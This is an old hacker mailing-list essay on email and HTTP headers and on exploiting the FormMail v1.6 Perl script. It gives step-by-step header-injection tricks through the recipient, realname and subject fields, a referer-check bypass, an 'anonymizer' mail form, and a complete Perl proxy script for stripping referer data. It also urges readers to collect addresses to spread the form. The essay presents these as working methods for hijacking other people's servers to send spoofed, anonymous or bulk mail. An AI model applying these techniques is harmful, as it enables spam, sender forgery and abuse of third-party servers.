Subject: The awaited essay hi +all, I know we are not the fastest writers in the world, but here is a document with a summary about formmail tricks ( very few until now :-( and some other information that could be helpful to you. It has been done by +malattia and me, and we truly hope you'll like it :-). cu SiuL+Hacky ps. ask what you feel like, as usual. Mail Headers ------------ When receiving an email you may get some information about who sends it and its way across the net. What I'm describing here are assumptions you may take if the "mail system" is not forged; in that case, sometimes you may discover when someone is trying to forge a server, as we'll see. Most mail is sent via SMTP (Simple Mail Transfer Protocol), just a tcp/ip connection (most of the times, though it does not depend on the transfer layer used) trough port 25. What mailer agents use to do is automatize the dialog between client and server. If you are going to telnet to your local machine, usually you may pass the data directly to the mail server ( through command line ). Otherwise, the dialog is this ( in a simple example ): * telnet target.server 25 - Greeting from the server that identifies itself * HELO my.domain - More greeting * MAIL FROM: my@address - Some acknowledge * RCPT TO: recipient@address - Some acknowledge * DATA - Ack, and instructions for ending DATA section ( to type a line with JUST one dot ). * bla, bla, bla bla, bla . - More acks The acks have their own codes, but they are enough self-explanatory, hence I'll not mess you. Consult rfc821 for details. The first try to forge smtp is by means of MAIL FROM. Currently most systems check the identifier given does exist, and coincides with the domain it got from tcp net connection. If they do not match, your IP address is stamped and the forgery may be discovered. Another forgery may be to include inside data section a line like this: From: best@hcuker.world The programs we use to read mail, take this field and show it as the sender, without any header checking. This a very trivial trick. The same may be told for Subject, Date and so on, included inside DATA section. The mail server not only receives the request and forwards it (if necessary ), but adds a header with info about the transfer described above. If the recipient dwells in the server, may be it does not add the header, but is not usual. You may try to use some forged mail server that claims to be a different one, but when it'll forward the message to reach recipient's home, a new header will be added ( except some rare occasions I told you ) and then all the headers will not be consistent. You could try to telnet with tampered ip packets, but as tcp is a controlled connection ( opposite to UDP ), it seems difficult for me. Let's review all this with an example where everything makes sense and nothing seems to be forged :-). Is +Alistair one: ========================================================== Received: from 207.203.114.24 (207.203.114.24) by mx05.netaddress.usa.net via mtad (2.4) id mx05-caDJKJ0091; Sun, 04 Jan 1998 02:36:10 -0600 (MST) Received: from http by athos.clubenterprises.com with local (Exim 1.62 #8) id 0xokdc-0008Qg-00; Sun, 4 Jan 1998 02:38:24 -0500 To: sergej.lisenko@usa.net From: Alistair@newanonymity.gee () Subject: Zero can you read my address? Message-Id: Sender: Club Webmaster Date: Sun, 4 Jan 1998 02:38:24 -0500 ADD ============================================================== First of all user "http" starts the first connection to its local mail server. Inside multiuser o.s. as unix, every process run with a user identifier. Web servers use users as "nobody", "http", "httpd" or "www". AFAIK, web servers cannot act as smtp clients, so may be a process started by the web server is doing it, a cgi. The program that takes care of port 25 connections is Exim ( a program, as sendmail or Qmail ). It receives the recipient and the rest of the data. The connection ends, and Exim adds its header: Received: from http by athos.clubenterprises.com with local (Exim 1.62 #8) id 0xokdc-0008Qg-00; Sun, 4 Jan 1998 02:38:24 -0500 The recipient is not local: sergej.lisenko@usa.net, so it has to forward it to @usa.net. The program that manages it at usa.net receives it and adds its header: Received: from 207.203.114.24 (207.203.114.24) by mx05.netaddress.usa.net via mtad (2.4) id mx05-caDJKJ0091; Sun, 04 Jan 1998 02:36:10 -0600 (MST) We must take care that ip addresses make sense, hence these parts must match (and they do, check it with dns): from 207.203.114.24 <-- in the second header by athos.clubenterprises.com <-- in the first header HTML ---- It's really easy to navigate from one page to another, so there's no need to know the underlying client-server dialog. What happen since you tell the browser to get some page till the browser paints it, is just another client-server dialog. The browser acts as the client. Imagine you type http://www.fravia.org/entra.html (c'mon +fravia I want my commission :-) It telnets www.fravia.org port 80 ( usually ) and, sends a request header, more or less like this: GET /entra.html HTTP/1.0 or GET /entra.html Afterwards the client may send some other auxiliary header such as Referer header ( used by formmail :-). The client ends its requests with a double CR. Then the server answers with a respond header: may be OK, may be a Location header to redirect the client to another page or may be an error header ( not found, forbidden access ... ). The respond headers have codes and so forth, but I'm just explaining the "concepts". Finally a "Content type" header is put by the server, previous to the html page, image or whatever. I must remark that what is really important is the ok header, placed on the top, because is the one acks the url requested does exist, and can be given. This is a sample of a usual server answer: HTTP/1.1 200 OK Date: Mon, 16 Mar 1998 04:02:15 GMT Server: Apache/1.2.4 Last-Modified: Thu, 06 Nov 1997 18:20:06 GMT ETag: "20afe-792-34620a56" Content-Length: 1938 Accept-Ranges: bytes Connection: close Content-Type: text/html ( ... and the rest of the page ... ) The client (browser) picks the data and paints it. With picks the data I mean it'll request any additional resource in the page, as images, cgis for counters or whatever through telnet sessions like the above one. CGIs ----- Here some foundations about cgis, because if you've never written one, some of its aspects are confusing. Why cgis ? They are just a method that enables to start some interactive dialog between the browser and the web server. Now it seems pretty easy with Java and Javascript, but without them you can just use a cgi. The client send the server some data from the user and the server "processes" the information and gives an answer. What are they indeed ? They are executable files. You must configure the server to make it note how to identify what requests are cgis ( and must be executed ), and what are usual MIME types. The two most common ways, are to store them at some concrete directory (as cgi-bin ), or to label them with some concrete extension, as .cgi. Therefore, when the request is labelled as "cgi", the server execute the cgi with some well defined environmental variables. The cgi gets from these vars information about the client-server connection ( IP addresses, the name of the server & browser, ... ) and also gets the specific information supplied by the user ( through PATH_INFO and QUERY_STRING vars ). Then the program does something with all this information, and finally cooks some acknowledgement for the client ( usually an html page, with the appropiate Content-type header that will help to browser to identify the resource that is being received, i.e. html, jpg, gif ... ). If the cgi is Non Parsed Header (its name starts with nph-) it must take care of all html protocol headers too, especially ok header ( see samples at HTML section ). Formmail Cracking ----------------- And now it's the turn of FormMail, a little PERL script which automatically sends the contents of a form by mail to a specified recipient. Here are some infos about the program: ================================================================ FormMail v1.6 Copyright 1995-97 Matt Wright (matt@worldwidemart.com) Last Modified 05/02/97 You can download it from: http://www.worldwidemart.com/scripts/ ================================================================ note (by s+h): there are more formmail scripts, but this one seems to be the most popular. I'll quote some lines of code in this essay, but there's no need to say that you should download and read the complete source code to better understand what's going on. Now, let's see how the formmail script works: 1) First of all, it checks the referring URL, that is the URL of the page containing the form. This allows forms to be located only on servers which are defined in the field @referers, preventing other sites to use your script in their web pages. 2) Then, it retrieves the current date/time to put it in the mail message. 3) It determines the form's request method (GET or POST), parses the form contents and split the form fields into their name-value pairs. The allowed fields are: -recipient: mail address of the recipient -subject: subject -email: mail address of the sender -realname: realname of the sender -redirect: URL of the page to redirect user to after the form is sent -bgcolor, background, link_color, vlink_color, text_color, alink_color: attributes of the html created after the form is sent -sort: order of the fields in the mail -print_config: field configurations to print in the mail -required: fields you have to fill in the form -env_report: environmental variables to print in the mail -return_link_title: return page to put in the newly created html page -return_link_url: url of the return page -print blank fields: tells the script to print even the blank fields -missing_fields_redirect: URL of the page to redirect user to if a required field is missing. NOTE: When you send a form and everything goes ok, you can choose to redirect user to a new page or to create a predefined one. 4) The program checks the required fields and if email field is required it checks its syntax. If there's an error, it redirect the user to the page specified in the field missing_fields_redirect or creates a predefined one. 5) If everthing is ok, it redirects user to the page specified in the field redirect, or creates a predefined one. 6) Finally, the program sends the mail message to recipient. Now, the first thing we want to do is send the mail message to another recipient, ie our mail address. As this field is not specified in the formmail source, but you have to provide it as a hidden field in the form (look at some html sources on the net), you can manually send data to the script in this way: http://server.address/cgi-bin/formmail.pl?recipient=a@b.com&subject=hi&email=c@ d.com&realname=Homer+Simpson&data:HI%0d+%2bMaLaTTiA Hmmmmm... got it? We give all the fields "by hand", like in a command line. The field separator is the character "&" and instead of the spaces we find "+", CR is %0d and "+" (how can you write your +nickname otherwise? :)) is %2b, that is 2bH, 43 dec, "+" ASCII. This example works, but there are two little problems: first of all, we don't want to write our mail messages on just one line, doing character conversion on the fly. The best thing to do is to copy an online page which uses formmail.pl and change it a little to suit our needs. In the 90% of the cases it doesn't work: that's because of that referring url check at point 1). Well, it's time to give a look to the source code now: a beautiful high-level language source code, with beautiful procedures like &check_url, &send_mail, and so on... rather self-explaining isn't it? :) Now, let's try to solve our first problem, here's the code: # If a referring URL was specified, for each valid referer, make sure # # that a valid referring URL was passed to FormMail. # if ($ENV{'HTTP_REFERER'}) { foreach $referer (@referers) { ---> if ($ENV{'HTTP_REFERER'} =~ m|https?://([^/]*)$referer|i) { $check_referer = 1; last; } } } The check for the referer is all in just ONE line, so it's time to get a PERL quick reference manual and see what it means. I've downloaded a manual from www.mcp.com, zipped it and put it online for further use :) The address is: http://www.fortunecity.com/skyscraper/mozilla/66/zelif.htm Anyway, here's what the manual says: m// Category.....: named unary operator (pattern) Arguments....: m// Return Value.: 1 (true) '' (false) Definition This function searches the default string for the pattern using regular expression pattern matching. It returns 1 if a match is found. Otherwise, '' is returned. The default string can be assigned to the match using either the =~ or !~ operators; otherwise, it is $_. ---> if ($ENV{'HTTP_REFERER'} =~ m|https?://([^/]*)$referer|i) { note: you may wonder why the man page defines m//, and then in the script we find m||. The reason is that you can use as delimiters ("/" is the default delimiter) other non-alphanumeric characters. That is useful if the pattern contains "/", as it increases readibility. So, the default string is $ENV{'HTTP_REFERER'}, and the procedure searches inside it for the occurrence of the string contained in $referer (which is one of the values contained in the field $referers, usually a domain name). The option "i" means that the string comparison is case-insensitive. Hmmm... just a substring search... no real domain check! So, you just have to name your html local file with the domain name of the formmail script you're using... ie., if the formmail script is located at www1.clubenterprises.com, you can call the file www1.clubenterprises.com.html. Try it: it works! :) Of course, there's a lot more elegant way to do this... read what Siul+Hacky wrote me: "+MaLaTTiA, pretty interesting your way to get rid of referer trick. I did it a little bit different. I did months ago a perl script to run as a very simple proxy, so you ask your page through the PATH_INFO and QUERY_STRING parameters, then the cgi ask for the page and returns it to you. The script may be used for filtering information. Referer is given by means of an HTML header, so it is Netscape who is giving formmail the information of the malicious referer. I remembered this old script and used it for destroying referer information." I'm sure Siul's script will turn out to be useful in a lot of situations, so check it, it's included in this essay. The second problem we have to deal with is a bit harder, because you'll need some UNIX knowledge, or at least you'll need to know how sendmail works. If you send the previous mail message to yourself, you'll see that its output will be something like this: Below is the result of your feedback form. It was submitted by (a@b.com) on Wednesday, January 7, 1998 at 12:27:19 --------------------------------------------------------------------------- HI --------------------------------------------------------------------------- ....Hey! I didn't ask the PERL script to write THAT! Let's go and see the source code again: sub send_mail { # Localize variables used in this subroutine. # local($print_config,$key,$sort_order,$sorted_field,$env_report); # Open The Mail Program open(MAIL,"|$mailprog -t"); print MAIL "To: $Config{'recipient'}\n"; print MAIL "From: $Config{'email'} ($Config{'realname'})\n"; # Check for Message Subject if ($Config{'subject'}) { print MAIL "Subject: $Config{'subject'}\n\n" } else { print MAIL "Subject: WWW Form Submission\n\n" } print MAIL "Below is the result of your feedback form. It was submitted by\n"; print MAIL "$Config{'realname'} ($Config{'email'}) on $date\n"; Ok. The string appears in the source code, so what can we do now? The first thing I did is give a look to that "-t" switch used to open the mail program, so I started Linux and gave a look at the manual page about sendmail. NOTE: you don't need to install Linux to see man pages, you can find all of them online! Of course, installing Linux is better... :)) Here is part of the output: -t Read message for recipients. To:, Cc:, and Bcc: lines will be scanned for recipient addresses. The Bcc: line will be deleted before transmission. Any addresses in the argument list will be suppressed, that is, they will not receive copies even if listed in the message header. Here's how our script works: it just gives plain text to the mail program, and this one scans for the recipient and sends the mail message. It doesn't help us with the default "incipit" of the mail, but tells us some other things: for instance, that if we specify Cc: and Bcc: lines in the body of the mail, the script is able to send both carbon copies and BLIND carbon copies! Of course, we should first find the way to cut away that ugly "Below is the result...". To do this, we have to learn something more about sendmail. Fortunately, the "man" pages of sendmail tell us all we need to know about it: "With no flags, sendmail reads its standard input up to an end-of-file or a line consisting only of a single dot and sends a copy of the message found there to all of the addresses listed." Bingo! As the "-t" flag doesn't tell us anything about it, we can guess the dot works with this flag too... and it does: we just have to put a line consisting only of a single dot BEFORE the default incipit and we terminate the message! From the source file you can see there are THREE ways to do this: 1) print MAIL "To: $Config{'recipient'}\n"; FIRST WAY: You just have to assign to the recipient field a value like this RECIPIENT_NAME\n From: Anonymous ("Realname")\n Subject: the subject you like\n (now you can put the mail body) blah.blah.blah. . (single dot!) This doesn't always work, because often the "email" field is required (well you can simply add a fake address in that field, anyway it won't even be printed!). And... THIS_WORKS!!! +Guys, a perl variable can carry enough data to contain a full message body, and all we have to do is put it in a field and terminate it with a single dot in a new line. 2) print MAIL "From: $Config{'email'} ($Config{'realname'})\n"; SECOND WAY: You can put a "realname" containing the full message. Of course, you have to close the parenthesis after your fake realname, so your message will look like this: Homer Simpson) Subject: blah blah blah DATA . 3) if ($Config{'subject'}) { print MAIL "Subject: $Config{'subject'}\n\n" } THIRD WAY: I think you got it, just remember that in this case you have to start writing the subject without "Subject:" header, I confirm sendmail will read any Cc: or Bcc: after the Subject: line... Now you just have to choose: if you often have to send CC or BCC you can made a local page using the second trick, I personally made some local pages which use the third one. Here's the source, feel free to change and ameliorate it, but remember to send me a copy of it! ;) +MaLaTTiA's Anonymizer

+MaLaTTiA's Anonymizer

To:

From:

Realname:

Data (end the mail with a dot):

Remember that the first line of the textarea is the subject, just start with the mail body from the second line. Also, you have to end the message WITH A DOT IN A NEW LINE (can you write a source to automatically add it?). Finally, you just have to change the line

with another address to change your address, also remember to change the filename (if there's a referer check). For instance, this line (with the right filename) works too:

Now a little homework for you: collect as many addresses as you can and spread them on the ml! :) OTHER TRICKS ------------ The work is not finished. We can do a lot of other things with this script, for instance we can create _any_ html changing the body attributes of the returned html, but I don't know how it could be useful... hmmmm... I'm afraid I'm stuck here O:) EVOLUTION --------- IMHO, the best thing to do now is writing a little proggie (java? plain HTML?) which lets you write your mail offline, maybe put it in a queue, automatically put a single dot at the end of each message, lets you choose a server whose formmail script you want to use, starts a proxy server like Siul's one, and sends mails... too hard? Maybe a little time-wasting, but I think it would be VEEERY nice O:)) CGI-PSEUDO proxy ---------------- nph-proxy.pl ---------------- #!/usr/bin/perl push(@INC,"/usr/lib/perl5"); require("flush.pl"); use Socket; ;#################################################################### ;#### This script acts as a very simple proxy ######### ;#### Make your calls in this way: ######### ;#### http://your_server/cgi-bin/nph-proxy.cgi/serv/pag ######### ;#### ######### ;#### where "serv" is the target server (ip or dns) ######### ;#### and "pag" is the page or directory to get ######### ;#### (c) SiuL+Hacky ######### ;#################################################################### local($remote, $port, $ip, $paddr, $port,@line); $_=$ENV{'PATH_INFO'}; $data=$ENV{'QUERY_STRING'}; ##################################################################### #### server and page infor are split ######## ##################################################################### s/\///; ($remote, $page)=split(/\//, $_, 2); $page="\/".$page; $port=80; ##################################################################### #### a telnet session to port 80 is started ###### ##################################################################### $ip=inet_aton($remote); $paddr= sockaddr_in($port, $ip); $proto= getprotobyname("tcp"); socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die print "Content-type: text/html\n\nError connecting to server"; connect(SOCK, $paddr) || die print "error 2"; &printflush(SOCK, "GET ". $page."?".$data . " HTTP/1.0\n\n"); $n=0; $redirect=1; ##################################################################### #### the info is read and returned to the client #### #### "if" instruction patches Location headers #### #### that will be prior to Content-type ones #### ##################################################################### while($_=) { if ($redirect){ if (/Content-type/){ $redirect=0; } if (/Location:/){ $cgi="http:\/\/".$ENV{'SERVER_NAME'}.$ENV{'SCRIPT_NAME'}."\/"; s/http:\/\//$cgi/e; } } $line[$n]=$_; $n++; } close (SOCK); #################################################################### #### the dialog with the server is reproduced here and sent #### #### to the client. To keep it identical the cgi is #### #### declared as Non Parsed Header #### for($i=0; $i<$n; $i++){ print "$line[$i]"; } exit(0);